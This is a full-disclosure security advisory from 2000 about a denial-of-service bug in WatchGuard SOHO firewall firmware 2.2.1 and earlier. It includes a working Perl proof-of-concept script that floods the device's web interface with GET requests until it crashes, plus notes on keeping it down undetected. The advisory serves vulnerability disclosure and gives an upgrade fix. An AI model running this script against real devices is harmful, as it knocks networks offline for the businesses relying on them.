WatchGuard SOHO v2.2.1 DoS

[Filip Maertens <filip () SECURAX BE>]

[see attach]

Attached is Securax Advisory #10 concerning WatchGuard SOHO <= v2.2.1
DoS.  The vendor has been notified +5 days ago.  Time for the full
disclosure.


Filip,

=====================================================================
Securax-SA-10                                       Security Advisory
belgian.networking.security                                     Dutch
=====================================================================
Topic:          Watchguard SOHO 2.2 Denial of Service
Announced:      2000-12-04
Affects:        Watchguard SOHO Firmware 2.2.1 and below
Not affected:   Watchguard SOHO Firmware > 2.2.1
Vendor Status:  Contacted & Comfirmed
=====================================================================
                                          http://www.securax.org/pers



         THE ENTIRE ADVISORY HAS BEEN BASED UPON TRIAL AND ERROR
  RESULTS.  THEREFORE WE CANNOT ENSURE YOU THE INFORMATION BELOW IS
  100% CORRECT.  THIS DOCUMENT IS SUBJECT TO CHANGE WITHOUT PRIOR
  NOTICE.

         PLEASE, IF YOU HAPPEN TO FIND MORE INFORMATION CONCERNING
  THE BUG DISCUSSED IN THIS ADVISORY, PLEASE SHARE THIS ON BUQTRAQ
  OR VULN-DEV.  THANK YOU,




I.   Background

 The Watchguard SOHO Firewall is a small personal hardware firewall
 used for xDSL, ISDN and Cable connections.  The Firewall uses a
 packet filtering based approach including Dynamic NAT'ting.  There
 is option for one machine in a DMZ and has support for VPN.  The
 SOHO model is intended for small office and home office users.  To
 configure the firewall there is a html interface accessible to the
 local side ( default ) and even remote side ( through password ).



II.  Problem Description

 Local and Remote users can crash the Watchguard SOHO Firewall using
 alot (+ 70) of GET requests to the webserver on the machine.  While
 sending these request we can see the free memory getting down very
 fast. (from 700k to 500k after just a few requests).



III.  Reproduction of the problem


 #!/usr/bin/perl
 #
 # You can also connect to the Watchguard SOHO through your
 # browser and press F5 like a maniac on speed to get the
 # firewall crashing.  So, either you run the .pl script or
 # you fire up your webbrowser... Either way, it works.
 # ----------------------------------------------------------
 # Disclaimer: this file is intended as proof of concept, and
 # is not intended to be used for illegal purposes. I accept
 # no responsibility for damage incurred by the use of it.
 # ----------------------------------------------------------
 # (c)Proof of concept, vorlon <filip () securax be>
 # ----------------------------------------------------------
 use IO::Socket;

  $host = "your_watchguard_ip";
  $port = "your_port";
  $repeat = "100";
  $request = "GET / HTTP/1.0";

  print "Watchguard SOHO Denial of Service, connecting to $host:$port...\n";
  $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$host, PeerPort=>$port) || die "Failed.\n";

   $counter = 0;
   print "Repeating request for $repeat times.\n";
    while($counter < $repeat) {
          print $socket "$request\n";
          $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$host, PeerPort=>$port) || die "\nThe Watchguard SOHO 
has crashed.  BEEFCAKE!...\n";
          print ".";
          $counter += 1;
    }
   print "\nDone.\n\n";

   close($socket);



III. Impact

 After using this exploit, the Firewall has been rendered useless and
 will reboot or simply crash and burn ( in this case, you'll have to pull
 the plug to reset the machine ).  In case of a spontanious reboot, the
 downtime of the  firewall, thus functionality of the company, is
 considered to be between one minute and five minutes.  If one is
 constantly running exploit-code, the firewall can be kept under a
 constant outage.  This attack will not show up in the logfile except
 for a reboot notice.



IV.  Solution

 Upgrade to a more recent Firmware ( > 2.2.1 ).  Check the website
 for more information < http://bisd.watchguard.com >.  IMHO, a nice
 bughunt in their webservice should be nice ;-)



V.   Credits

 Cicer0 < davy () securax be > for original error discovery -*- vorlon
 < filip () securax be > for advisory, exploit code and additional
 testing.





=====================================================================
For more information                                 info () securax org
Website                                        http://www.securax.org
                                                http://www.securax.be
Advisories/Text                           http://www.securax.org/pers
---------------------------------------------------------------------